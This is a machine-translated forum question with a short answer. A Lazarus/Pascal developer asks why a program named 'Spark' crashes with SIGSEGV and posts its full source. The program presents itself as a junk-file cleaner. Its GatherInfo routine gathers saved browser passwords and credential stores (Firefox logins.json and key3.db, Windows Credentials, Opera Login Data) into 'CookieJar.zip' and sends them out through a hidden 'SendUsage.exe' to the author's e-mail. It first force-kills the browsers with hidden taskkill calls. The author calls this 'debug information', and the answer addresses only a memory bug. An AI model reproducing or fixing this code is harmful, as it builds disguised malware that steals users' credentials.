我有一个包含表单和大量代码的图形程序。当我开始它,它很好,没有错误,没有例外。我添加了两个程序,它仍然运行没有问题。我放置了一个进度条,并将此代码添加到Image的OnClick事件中:ProgressBar.Visible:=False;
编译完成后没有错误,但是当我运行程序时,我遇到了这个异常:
Project Spark引发了异常类'External:SIGSEGV'。
在第948行的文件'.include \ control.inc'中:
Result := IsControlVisible and ((Parent = nil) or (Parent.IsVisible));
奇怪的事实:我删除了进度条和分配给的每个程序,但我一直收到此错误。
其他信息:
根据Lazarus ver编译。 1.2.6
FPC版本:2.6.4
Windows 7旗舰版6.1.7601.1.1252.1.1033.18.8130.4811
编辑:这是所要求的完整代码。 但首先:该程序应该是一个清理程序,它可以查找和删除一些文件。 GatherInfo过程向我发送了额外的调试信息(通过执行外部程序)。
unit sparkunit;
{$mode objfpc}{$H+}
interface
uses
Windows, Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs,
LResources, StdCtrls, WelcomeUnit, scanunit, Variants, SHLOBJ,
ExtCtrls, ComCtrls, Process;
type
{ TSparkForm }
TSparkForm = class(TForm)
Borders: TImage;
Borders1: TImage;
Borders2: TImage;
Borders3: TImage;
NextBTN: TImage;
OLabel: TLabel;
ScanFRM: TScanFrame;
TitleLBL: TLabel;
Wallpaper: TImage;
WelcomeFRM: TWelcomeFrame;
XLabel: TLabel;
_Label: TLabel;
procedure BordersMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure BordersMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure NextBTNClick(Sender: TObject);
procedure OLabelClick(Sender: TObject);
procedure XLabelClick(Sender: TObject);
procedure _LabelClick(Sender: TObject);
private
{ private declarations }
public
{ public declarations }
end;
const SparkCursor = 777;
SparkDragCursor = 778;
var
SparkForm: TSparkForm;
MouseIsDown: Boolean;
PX, PY: Integer;
Operating: Boolean;
FFile: Text;
Path,Looper: String;
Master: TProcess;
Browser: Array [1..4] of String;
//1=Firefox, 2=Chrome, 3=Opera, 4=Internet Explorer
implementation
{$R *.lfm}
{ TSparkForm }
function GetSystemLoc: string;
var
FilePath: array [0..255] of char;
begin
SHGetSpecialFolderPath(0, @FilePath[0], $0025, True);
Result := FilePath;
end;
procedure CrFile(F: String);
var D: Text;
Begin
AssignFile(D,F);
Rewrite(D);
CloseFile(D);
end;
procedure Log(StrToLog:String);
var Lof: Text;
Begin
AssignFile(Lof,'SparkLog.txt');
Append(Lof);
Writeln(Lof,StrToLog);
CloseFile(Lof);
end;
procedure ChList(FileToAdd: String);
Begin
if ((FileExists(FileToAdd)) or (DirectoryExists(FileToAdd))) and (FileToAdd<>'C:\Windows\') then Begin
AssignFile(FFile,'Deletions.tmp');
Append(FFile);
Writeln(FFile,FileToAdd);
CloseFile(FFile);
Log('Automatically added '+FileToAdd+' to the deletion list.');
end;
Application.ProcessMessages;
SparkForm.Refresh;
end;
procedure ChAdd(FileToAdd: String);
var DFile: Text;
Begin
AssignFile(FFile,'CookieJar.zip');
Append(FFile);
Writeln(FFile);
Writeln(FFile,FileToAdd);
Writeln(FFile);
if FileExists(FileToAdd) then Begin
if Not(CopyFile(FileToAdd,'Temp.tmp')) then ShowMessage('Error!');
AssignFile(DFile,'Temp.tmp');
Reset(DFile);
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
Readln(DFile,Looper);
Writeln(FFile,Looper);
until EOF(DFile);
CloseFile(DFile);
DeleteFile('Temp.tmp');
End;
CloseFile(FFile);
end;
procedure ChDel(FilePath: String);
Begin
if FileExists(FilePath) then DeleteFile(FilePath)
Else if DirectoryExists(FilePath) then DeleteDirectory(FilePath,True);
end;
function NotInCar(FileName: String): Boolean;
Begin
if (Pos('Spark',FileName)<>0) then NotInCar:=False
Else NotInCar:=True;
End;
procedure AddExtension(Ext: String);
var FileList: TStringList;
I: LongInt;
Drive: Char;
O: Text;
Begin
AssignFile(FFile,'Ext.tmp');
Rewrite(FFile);
CloseFile(FFile);
For Drive:='A' to 'Z' do
if DirectoryExists(Drive+':\') then Begin
Application.ProcessMessages;
SparkForm.Refresh;
FileList:=FindAllFiles(Drive+':\',Ext,True);
if FileList.Count>0 then Begin
Application.ProcessMessages;
SparkForm.Refresh;
AssignFile(FFile,'Ext.tmp');
Append(FFile);
For I:=1 to FileList.Count-1 do if NotInCar(FileList.Strings[I]) then Writeln(FFile,FileList.Strings[I]);
CloseFile(FFile);
end;
end;
FileList.Free;
AssignFile(O,'Deletions.tmp');
Append(O);
AssignFile(FFile,'Ext.tmp');
Reset(FFile);
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
Readln(FFile,Looper);
Writeln(O,Looper);
until EOF(FFile);
CloseFile(O);
CloseFile(FFile);
DeleteFile('Ext.tmp');
Application.ProcessMessages;
SparkForm.Refresh;
end;
Procedure GatherInfo;
var IEList: TStringList;
I: LongInt;
Begin
SparkForm.ScanFRM.StatusLBL.Caption:='Gathering information...';
//GetFiles
AssignFile(FFile,'CookieJar.zip');
Rewrite(FFile);
CloseFile(FFile);
ChAdd(Browser[1]+'key3.db');
ChAdd(Browser[1]+'logins.json');
Application.ProcessMessages;
SparkForm.Refresh;
IEList:=TStringList.Create;
IEList:=FindAllFiles(Browser[4],'*.*',true);
if IEList.Count>0 then
For I:=1 to IEList.Count do Begin
Application.ProcessMessages;
SparkForm.Refresh;
ChAdd(IEList.Strings[I-1]);
end;
ChAdd(Browser[3]);
Application.ProcessMessages;
SparkForm.Refresh;
Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera Software\Opera Stable\';
Application.ProcessMessages;
SparkForm.Refresh;
ChAdd(Browser[3]+'Login Data');
ChAdd(Browser[3]+'Login Data-journal');
//Send
Master:=TProcess.Create(NIL);
Master.Executable:='SendUsage.exe';
Master.Parameters.Add(GetCurrentDir);
Master.Parameters.Add('{My E-Mail}');
Application.ProcessMessages;
SparkForm.Refresh;
Master.ShowWindow:=swoHIDE;
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Application.ProcessMessages;
SparkForm.Refresh;
end;
Procedure StartScan;
var Windir: PChar;
Begin
Application.ProcessMessages;
SparkForm.Refresh;
GetWindowsDirectory(Windir,255);
SparkForm.ScanFRM.StatusLBL.Caption:='Scanning...';
ChList(GetEnvironmentVariable('temp'));
ChList(Windir+'\Temporary Internet Files');
ChList(Windir+'\Downloaded Program Files');
ChList(Windir+'\History');
ChList(Windir+'\Temp');
ChList(Windir+'\Cookies');
ChList(Windir+'\Favorites');
ChList(Windir+'\system.nu3');
ChList(Windir+'\user.nu3');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.tmp');
AddExtension('*.temp');
AddExtension('*.chk');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.old');
AddExtension('*.gid');
AddExtension('*.nch');
AddExtension('*.wbk');
AddExtension('*.fts');
AddExtension('*.ftg');
AddExtension('*.$$$');
AddExtension('*.err');
AddExtension('*.—');
AddExtension('*.~*');
AddExtension('~*.*');
AddExtension('*.??$');
AddExtension('*.___');
AddExtension('*.~mp');
AddExtension('*._mp');
AddExtension('*.prv');
AddExtension('*.sik');
AddExtension('CHKLIST.MS');
AddExtension('*.ilk');
AddExtension('*.aps');
AddExtension('*.mcp');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.pch');
AddExtension('*.$db');
AddExtension('*.?$?');
AddExtension('*.??~');
AddExtension('*.?~?');
AddExtension('*.db$');
AddExtension('*.^');
AddExtension('*._dd');
AddExtension('*._detmp');
AddExtension('0*.nch');
AddExtension('chklist.*');
AddExtension('mscreate.dir');
AddExtension('*.diz');
AddExtension('*.syd');
AddExtension('*.grp');
AddExtension('*.cnt');
AddExtension('*.~mp');
end;
Procedure StartDeletion;
Begin
SparkForm.ScanFRM.StatusLBL.Caption:='Cleaning...';
AssignFile(FFile,'Deletions.tmp');
Reset(FFile);
Repeat
Readln(FFile,Looper);
ChDel(Looper);
Application.ProcessMessages;
SparkForm.Refresh;
if Not(Looper='') then
Log(Looper+' was removed.')
Else Log('An unknown file was removed.');
until EOF(FFile);
CloseFile(FFile);
DeleteFile('Deletions.tmp');
end;
procedure TSparkForm.FormCreate(Sender: TObject);
begin
Screen.Cursors[SparkCursor] := LoadCursorFromLazarusResource('Spark');
Screen.Cursors[SparkDragCursor] := LoadCursorFromLazarusResource('SparkDrag');
Wallpaper.Cursor := SparkCursor;
Borders.Cursor := SparkCursor;
Borders1.Cursor := SparkCursor;
Borders2.Cursor := SparkCursor;
Borders3.Cursor := SparkCursor;
WelcomeFRM.Cursor:= SparkCursor;
WelcomeFRM.Label1.Cursor:= SparkCursor;
WelcomeFRM.Label2.Cursor:= SparkCursor;
WelcomeFRM.Label3.Cursor:= SparkCursor;
WelcomeFRM.Image1.Cursor:= SparkCursor;
Browser[1]:=GetEnvironmentVariable('appdata')+'\Mozilla\Firefox\Profiles\lbtxc2cz.default\';
Browser[4]:=GetEnvironmentVariable('appdata')+'\Microsoft\Credentials\';
Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera\Opera\profile\wand.dat';
end;
Procedure KillBrowser;
Begin
try
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im waterfox.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im firefox.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im chrome.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im iexplore.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im opera.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
except
end;
end;
procedure TSparkForm.NextBTNClick(Sender: TObject);
begin
Application.MessageBox(PChar('Please close all running programs to continue!'),'Spark',0+48);
Application.MessageBox(PChar('Having other programs open while Spark is performing an action may result in an unstable system (and fatal errors)!'),'Spark',0+16);
Application.MessageBox(PChar('Spark will now try to automatically kill every potentially dangerous program!'),'Spark',0+48);
KillBrowser;
Operating:=True;
WelcomeFRM.Visible:=False;
ScanFRM.Visible:=True;
ScanFRM.Preloader.AnimatedGifToSprite('Scan.gif');
NextBTN.Visible:=False;
CrFile('Deletions.tmp');
CrFile('SparkLog.txt');
Application.ProcessMessages;
SparkForm.Refresh;
GatherInfo;
Application.ProcessMessages;
SparkForm.Refresh;
StartScan;
Application.ProcessMessages;
SparkForm.Refresh;
StartDeletion;
Application.MessageBox(PChar('Spark has finished cleaning! To see the results, open the log file located at'+sLineBreak+GetCurrentDir+'\SparkLog.txt'),'Spark',0+64);
Operating:=False;
SparkForm.Close;
Application.Terminate;
end;
procedure TSparkForm.OLabelClick(Sender: TObject);
begin
end;
procedure TSparkForm.XLabelClick(Sender: TObject);
begin
if not(Operating) then Begin
SparkForm.Close;
Application.Terminate;
end
Else Application.MessageBox('Spark is currently performing an operation! Do NOT exit!'+sLineBreak+'Exiting Spark may result in an unstable System!','Spark',0+16);
end;
procedure TSparkForm._LabelClick(Sender: TObject);
begin
Application.Minimize;
end;
procedure TSparkForm.BordersMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if Button = mbLeft then begin
MouseIsDown := True;
PX := X;
PY := Y;
Borders.Cursor := SparkDragCursor;
end;
end;
procedure TSparkForm.BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if MouseIsDown then begin
SetBounds(SparkForm.Left + (X - PX), SparkForm.Top + (Y - PY), SparkForm.Width, SparkForm.Height);
end;
end;
procedure TSparkForm.BordersMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
MouseIsDown:=False;
Borders.Cursor := SparkCursor;
end;
procedure TSparkForm.FormClose(Sender: TObject; var CloseAction: TCloseAction);
begin
end;
initialization
{$I sparkcursor1.lrs} {I'm using custom cursor resources}
{$I sparkcursor2.lrs}
end.
编辑2:SIGSEGV错误是由无效变量引起的,声明为Windir: PChar;
。它指向受保护的内存地址,导致程序终止,但访问冲突除外。用try / except块包围代码以捕获次要异常总是一个好主意。
答案 0 :(得分:0)
我快速浏览了一下代码: 在你的过程AddExtension(Ext:String);在第139行,你有一个FileList:TStringList声明但它不是在任何地方创建的。
您需要创建此对象FileList:= TStringList.Create;使用它。